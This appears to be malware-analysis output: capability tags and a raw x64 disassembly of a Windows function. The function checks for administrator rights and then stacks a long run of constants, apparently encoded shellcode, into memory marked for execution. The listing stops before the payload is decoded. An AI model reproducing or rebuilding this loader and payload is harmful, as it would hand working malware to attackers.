Function at 0x140001b40
Capabilities:
Allocate or change rwx memory
Create thread
Get token membership
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
sub rsp, 0x850
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140021040]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
xor r15d, r15d
mov word [rbp + 0x3ac], 0x500
lea rax, [rbp + 0x3a0]
mov dword [rbp + 0x3b0], r15d
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x3a8]
mov dword [rsp + 0x48], r15d
mov r9d, 0x220
mov dword [rsp + 0x40], r15d
lea r8d, [r15 + 0x20]
mov dword [rsp + 0x38], r15d
mov dl, 2
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov dword [rbp + 0x3a8], r15d
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000393b
mov rdx, qword [rbp + 0x3a0]
lea r8, [rbp + 0x3b0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x14000393b
mov rcx, qword [rbp + 0x3a0]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x3b0], 1
sete al
test al, al
je 0x14000393b
movabs rax, 0x697290b5d5dd5a66
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x20], rax
movabs rax, 0x8d08f71a1816c148
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x28], rax
movabs rax, 0xfe28fc0dd674c050
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x30], rax
movabs rax, 0xe3b094b16781a94a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x38], rax
movabs rax, 0xa594433f5c53d3a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x40], rax
movabs rax, 0xf6293721d9ec95d4
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x48], rax
movabs rax, 0x764789514112e9cc
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x50], rax
movabs rax, 0x2c928683cd99d957
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x58], rax
movabs rax, 0xd8cfb477f5f45fb6
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x60], rax
movabs rax, 0x75229695b182b0b6
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x68], rax
movabs rax, 0xa6b8fab6012a4874
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x70], rax
movabs rax, 0x3c5b593741ee4f54
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x78], rax
movabs rax, 0x4a1c26effa4a8f1a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x80], rax
movabs rax, 0x1f22f209f386bf8e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x88], rax
movabs rax, 0x7be04e0e7f6556f0
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x90], rax
movabs rax, 0x55d930fccf5c531b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x98], rax
movabs rax, 0x21dfe15ff146c759
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xa0], rax
movabs rax, 0x72bd45497f0db359
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xa8], rax
movabs rax, 0x44c22acbdfa7860e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xb0], rax
movabs rax, 0x3b3c2f48bb3e88d8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xb8], rax
movabs rax, 0x3760c040fe053f31
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xc0], rax
movabs rax, 0x1ca86f2499f75e5
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xc8], rax
movabs rax, 0xa8c88ef530c57c6b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xd0], rax
movabs rax, 0x698fc5d3c29335f0
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xd8], rax
movabs rax, 0x78d81993fb5a85b2
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xe0], rax
movabs rax, 0xade89cb028dae4a5
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xe8], rax
movabs rax, 0xdbbbebd1b573e784
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xf0], rax
movabs rax, 0x901ff4f841c64452
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0xf8], rax
movabs rax, 0x730a5c31b38addb1
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x100], rax
movabs rax, 0x5808a5525dd4e531
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x108], rax
movabs rax, 0x9e0beb247ac1c103
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x110], rax
movabs rax, 0xb6fd42b06ea05a1e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x118], rax
movabs rax, 0x9a8fdafa0bb959e9
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x120], rax
movabs rax, 0xd3728354e8aa50c1
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x128], rax
movabs rax, 0x76b783555f00490b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x130], rax
movabs rax, 0xe5a4b7e1c97c5ff6
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x138], rax
movabs rax, 0x5fc3fba8077f421a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x140], rax
movabs rax, 0x996a98f090cc9dc
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x148], rax
movabs rax, 0xe8cd1b222c421a61
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x150], rax
movabs rax, 0x4e98987726b5cb77
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x158], rax
movabs rax, 0x86d744c38bcf0142
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x160], rax
movabs rax, 0x7feb1b76a623236f
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x168], rax
movabs rax, 0xf2371501ff5b8815
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x170], rax
movabs rax, 0x3ea8c59f85112863
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x178], rax
movabs rax, 0xaa1e3c613d944480
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x180], rax
movabs rax, 0x70ee2dd79d699684
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x188], rax
movabs rax, 0xc9a5f2c5a5222f91
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x190], rax
movabs rax, 0x996bcbc1152d43bb
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x198], rax
movabs rax, 0x4feec52b5a43e0fa
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xbe38f32956044ce2
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x23b64fb3fa9425ae
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xfd7ae5b77c06b7d4
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x4392f019bff887ea
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x7502215c169b6f85
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xe2a61b4dc3fff0a7
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x436a793a674b4828
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xfbe1735d5a52d4c5
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x190fab9553dd84fe
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xe5f7e39efa763d0a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x884da0a45e5ecf72
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x465d5e50b0eb163f
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x200], rax
movabs rax, 0x54d02819a915412
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x208], rax
movabs rax, 0x85b6a00ac9d40ca1
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x210], rax
movabs rax, 0xe137948c3d344520
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x218], rax
movabs rax, 0xcb4527f49ba6e41d
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x220], rax
movabs rax, 0x258f97503b8311e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x228], rax
movabs rax, 0xad269958f153162b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x230], rax
movabs rax, 0xd0d626f6654c5d25
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x238], rax
movabs rax, 0xa13f317ad42e43fa
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x240], rax
movabs rax, 0x8d4fcd62cdaadeba
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x248], rax
movabs rax, 0x8774b826a96699f
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x250], rax
movabs rax, 0xde7fb8c3aa170a38
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x258], rax
movabs rax, 0x7b815f8afc40be63
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x260], rax
movabs rax, 0x16d260d59b74fb61
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x268], rax
movabs rax, 0x4b1fb9f642fd841b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x270], rax
movabs rax, 0xa65927770234f02c
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x278], rax
movabs rax, 0xb6fee801a208d7cf
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x280], rax
movabs rax, 0xf8f29677fc69d164
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x288], rax
movabs rax, 0x17b6365926c7c5af
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x290], rax
movabs rax, 0x2f9e53b463887c8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x298], rax
movabs rax, 0xff89ca5c8140f0e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x685805952cfbe230
movabs r10, 0x40f9cc765a3cdae7
mov qword [rbp + 0x3a0], rax
movabs r9, 0xa552af7b3f4e3e4
mov rax, qword [rbp + 0x3a0]
movabs rdx, 0x5f3fd8d6e58f1207
mov qword [rbp + 0x2a8], rax
movabs rcx, 0xe03d8e57622fb804
movabs rax, 0xfbdcc70e896702db
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2b0], rax
movabs rax, 0x11dbe189a382d187
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2b8], rax
movabs rax, 0xd70c88beb98917f1
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2c0], rax
movabs rax, 0xd6e77e245116edb2
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x5387663661939728
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xc05e8c04915a30a4
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2d8], rax
movabs rax, 0x5083e7c7f23ef965
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x79b551f14ba75371
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2e8], rax
movabs rax, 0xa3f7bb06e1d26246
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x161be810468cff11
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x2f8], rax
movabs rax, 0xa0d3045ff80d025d
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x300], rax
movabs rax, 0x6ed81d8d597326c9
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x308], rax
movabs rax, 0x193c917d521c6bc0
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x310], rax
movabs rax, 0xb2ae29ec442bdcdc
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x3a0], r10
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x3a0], r9
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x3a0], rdx
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x3a0], rcx
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x8b449154ba0c9731
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4b0], rax
movabs rax, 0x8e89d7d50bb4c406
mov qword [rbp + 0x3a0], rax
movabs r8, 0xf6bfbcfdad4e7ec
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4b8], rax
movabs rax, 0x7f35296a99bd6a5b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x8f4e5d7bb1a2ef98
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x1f0de308287e9395
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x54f9c2d9bad4a31a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4d8], rax
movabs rax, 0xb0a3e02ec0b925ef
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x3a0], r8
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4e8], rax
movabs rax, 0xcefeadec316f0c39
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4f0], rax
movabs rax, 0x443c336d2aa8180e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x3d7b72a29000e543
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x500], rax
movabs rax, 0x2f779853c0e5ebc0
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x508], rax
movabs rax, 0x10aa24404e2c01bd
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x510], rax
movabs rax, 0x238074b1fe1d2942
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x518], rax
movabs rax, 0x1186b60699229317
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x520], rax
movabs rax, 0x5de11074f54f714
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x528], rax
movabs rax, 0x3d8b6e84b5fdc141
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x530], rax
movabs rax, 0xf657b058e59dc96
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x538], rax
movabs rax, 0x5c2a841aca627b6b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x540], rax
movabs rax, 0x6d80ecab33ce0fa8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x548], rax
movabs rax, 0xd291f4b803841625
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x550], rax
movabs rax, 0x5ae48189f0c258aa
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x558], rax
movabs rax, 0x139a4dde9300e8ff
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x560], rax
movabs rax, 0xc1b2d8ff1c938efc
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x568], rax
movabs rax, 0x8282bf9c86268ac9
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x570], rax
movabs rax, 0xd22e9d9d3580111e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x578], rax
movabs rax, 0x43663152c5ee9ad3
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x580], rax
movabs rax, 0xc6cf30364e4a250
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x588], rax
movabs rax, 0xda4dbe7033f0824d
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x590], rax
movabs rax, 0x87b416e127ee0c52
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x598], rax
movabs rax, 0xeec98fb652e330a7
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5a0], rax
movabs rax, 0xb824ee37ac9b39a4
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x5f1d4346f351e51
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5b0], rax
movabs rax, 0xd7cbe0b5be180ba6
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x33b7cbca6b1b077b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x43d0ffdb7d4afab8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5c8], rax
movabs rax, 0xaf874f6858325d35
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x37d9dc395ff4a13a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5d8], rax
movabs rax, 0xb78d2f8ee796550f
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5e0], rax
movabs rax, 0x4fa5432fca125a0c
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x886d7e4c931edc59
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5f0], rax
movabs rax, 0xdeea8cdfc44512e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x5f8], rax
movabs rax, 0xd24851025bc63ee3
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x600], rax
movabs rax, 0x29b46eb3e73fc1e0
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x608], rax
movabs rax, 0x8c949ba0d1647add
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x610], rax
movabs rax, 0xee229f91797f1be2
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x618], rax
movabs rax, 0x7dabaf662d128ab7
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x620], rax
movabs rax, 0xc469b767674108b4
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x628], rax
movabs rax, 0x61870ce497fb73e1
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x630], rax
movabs rax, 0x8a12bde50869efb6
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x638], rax
movabs rax, 0x39a28a7ad3b2df8b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x640], rax
movabs rax, 0x3733620b7bda2bc8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x648], rax
movabs rax, 0x8cca2918b790a8c5
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x650], rax
movabs rax, 0x2b3c3e690c1d254a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x658], rax
movabs rax, 0x94d0093e2304939f
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x660], rax
movabs rax, 0x7545c5df6393b79c
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x668], rax
movabs rax, 0x89b98dfc8c340e69
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x670], rax
movabs rax, 0xe42592fd3610983e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x678], rax
movabs rax, 0x3f0f3032c6a54173
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x680], rax
movabs rax, 0x310b55e3a3e66670
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x688], rax
movabs rax, 0xffe3f350a7925bed
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x690], rax
movabs rax, 0x986dd7c14a790172
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x698], rax
movabs rax, 0xb1701596ece8bc47
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6a0], rax
movabs rax, 0x326dcb1769896244
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6a8], rax
movabs rax, 0xdd74ce14c1664171
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6b0], rax
movabs rax, 0xe0ba1495130e6e46
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6b8], rax
movabs rax, 0xd165662aa117149b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6c0], rax
movabs rax, 0xe17e9a3bb8fc99d8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x713e1fc82fd83dd5
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6d0], rax
movabs rax, 0xa729ff99c22e4d5a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x2d41ceec812d02f
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x619c388fe22e922c
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x212eeaac38c8b679
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6f0], rax
movabs rax, 0x966c702d3201c24e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x6f8], rax
movabs rax, 0x8fabaf62975a8f83
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x700], rax
movabs rax, 0x81a7d513c83f9600
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x708], rax
movabs rax, 0x62da61005585abfd
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x710], rax
movabs rax, 0x75b0b1710576d382
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x718], rax
movabs rax, 0x63b6f2c6a07c3d57
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x720], rax
movabs rax, 0x580e4dc756aea154
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x728], rax
movabs rax, 0x8fbbab44bd576b81
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x730], rax
movabs rax, 0x6195b7c595b386d6
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x738], rax
movabs rax, 0xae5ac0dad1bc25ab
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x740], rax
movabs rax, 0xbfb1296b3b27b9e8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x748], rax
movabs rax, 0x24c231780addc065
mov qword [rbp + 0x3a0], rax
